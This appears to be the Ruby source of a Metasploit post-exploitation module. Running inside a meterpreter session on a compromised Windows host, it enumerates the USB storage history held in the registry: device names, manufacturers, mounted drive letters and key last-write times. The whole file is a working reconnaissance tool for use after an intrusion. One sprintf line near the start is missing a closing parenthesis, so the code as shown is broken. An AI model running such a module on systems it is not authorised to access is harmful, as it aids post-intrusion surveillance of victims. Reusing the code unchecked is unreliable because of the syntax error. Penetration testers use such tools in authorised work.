## # $Id$ ## ## # ## This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Common def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather USB Drive History', 'Description' => %q{ This module will enumerate USB Drive history on a target host.}, 'License' => MSF_LICENSE, 'Author' => [ 'nebulus'], 'Version' => '$Revision$', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] )) end # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") # Cache it so as to make it just a bit faster isadmin = is_admin? # enumerate disks for potentially tying to a drive letter later @drives = enum_disks() out = "\n" @drives.each do |u, v| out << sprintf("%5s\t%75s\n", v, u.gsub("\x00", '') end print_status(out) usb_drive_classes = enum_subkeys('HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR') usb_uids_to_info = {} if not usb_drive_classes.nil? usb_drive_classes.each do |x| enum_subkeys(x).each do |y| begin vals = enum_values(y) # enumerate each USB device used on the system usb_uids_to_info.store(x.match(/HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\(.*)$/)[1], vals) rescue end end end usb_uids_to_info.each do |u, v| guid = '##?#USBSTOR#' << u << '#' << '{53f56307-b6bf-11d0-94f2-00a0c91efb8b}' out = "#{v['FriendlyName']}\n" << "="*85 << "\n" if isadmin mace = registry_getkeylastwritetime('HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\\' << guid) if mace keytime = ::Time.at(mace) else keytime = "Unknown" end out << sprintf("%25s\t%50s\n", "Disk lpftLastWriteTime", keytime) end if( not v.key?('ParentIdPrefix') ) print_status(info_hash_to_str(out, v)) next end guid = '##?#STORAGE#RemoveableMedia#' << v['ParentIdPrefix'] << '&RM#' << '{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}' if isadmin mace = registry_getkeylastwritetime('HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\' << guid) if mace keytime = ::Time.at(mace) else keytime = "Unknown" end out << sprintf("%25s\t%50s\n", "Volume lpftLastWriteTime", keytime) end print_status(info_hash_to_str(out, v)) end else print_error("No USB devices appear to have been connected to theis host.") end end #------------------------------------------------------------------------------- # Function for querying the registry key for the last write time # key_str Full string representation of the key to be queried # returns unix timestamp in relation to epoch def registry_getkeylastwritetime(key_str = nil) return nil if(! key_str) # RegQueryInfoKey - http://msdn.microsoft.com/en-us/library/ms724902%28v=vs.85%29.aspx # last argument is PFILETIME lpftLastWriteTime, two DWORDS #PFILETIME - http://msdn.microsoft.com/en-us/library/ms724284%28v=vs.85%29.aspx, two DWORDS DWORD dwLowDateTime; DWORD dwHighDateTime; # can use Rex::Proto::SMB::Utils.time_smb_to_unix to convert to unix epoch begin r, b = session.sys.registry.splitkey(key_str) key = session.sys.registry.open_key(r, "#{b}", KEY_READ) mytime = session.railgun.advapi32.RegQueryInfoKeyA(key.hkey, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, 8)['lpftLastWriteTime'] key.close lo,hi = mytime.unpack('V2') return Rex::Proto::SMB::Utils.time_smb_to_unix(hi,lo) rescue return nil end end #------------------------------------------------------------------------------- # Function to enumerate the next level of keys from the given key # key_str Full string representation of the key for which subkeys should be enumerated # returns Array of string representations of subkeys def enum_subkeys(key_str = nil) return nil if(! key_str) r, b = session.sys.registry.splitkey(key_str) begin key = session.sys.registry.open_key(r, "#{b}", KEY_READ) full_keys = [] key.enum_key.each do |x| full_keys.push("#{key_str}" << '\\' << "#{x}") end key.close rescue return nil end return full_keys end #------------------------------------------------------------------------------- # Function to enumerate the values in the given key # key_str Full string representation of the key from which values should be enumerated # returns Hash of string representations of: Value.name => Value def enum_values(key_str = nil) return nil if(! key_str) r, b = session.sys.registry.splitkey("#{key_str}") key = session.sys.registry.open_key(r, "#{b}", KEY_READ) values = {} key.enum_value.each do |x| values.store(x.name, x.query) end key.close return values end #-------------------------------------------------------------------------------------------------- # Function to enumerate the disks (not volumes) mounted as contained in HKLM\System\MountedDevices # returns Hash of string representations of: assigned drive letter => UID def enum_disks() r, b = session.sys.registry.splitkey('HKLM\\SYSTEM\\MountedDevices') key = session.sys.registry.open_key(r, "#{b}", KEY_READ) ret = {} values = key.enum_value values.each do |x| next if not x.name =~ /\\DosDevices\\/ name = x.name name = name.gsub('\\DosDevices\\', '') value = x.query if(value[0..0] != '\\') str = '' tmp = value.unpack('V') tmp.each do |x| str << "Disk #{x.to_s(16)} " end ret.store(str, name) else tmp = x.query tmp.gsub!(/\\/, '') tmp.gsub!(/\?/, '') ret.store(tmp, name) end end key.close return ret end def info_hash_to_str(str, hash) out = str out << sprintf("%25s\t%50s\n", "Manufacturer", hash['Mfg']) if(hash.key?('ParentIdPrefix') ) mounted_as = nil @drives.each do |x, y| # go through mounted drives and see if this volume is mounted next if not x =~ /\#/ # truncated disk volume that doesnt apply to removable media tmp = x.split(/\#/)[2].gsub!(/\x00/, '') # ParentIdPrefix will be 3rd item, trip internal \x00 tmp.gsub!(/\&RM$/i, '') # get rid of RM on end if its there mounted_as = y if(tmp.downcase == hash['ParentIdPrefix'].downcase ) end if(mounted_as) out << sprintf("%25s\t%50s (%5s)\n", "ParentIdPrefix", hash['ParentIdPrefix'], mounted_as) else out << sprintf("%25s\t%50s\n", "ParentIdPrefix", hash['ParentIdPrefix']) end end out << sprintf("%25s\t%50s\n", "Class", hash['Class']) out << sprintf("%25s\t%50s\n", "Driver", hash['Driver']) return out end end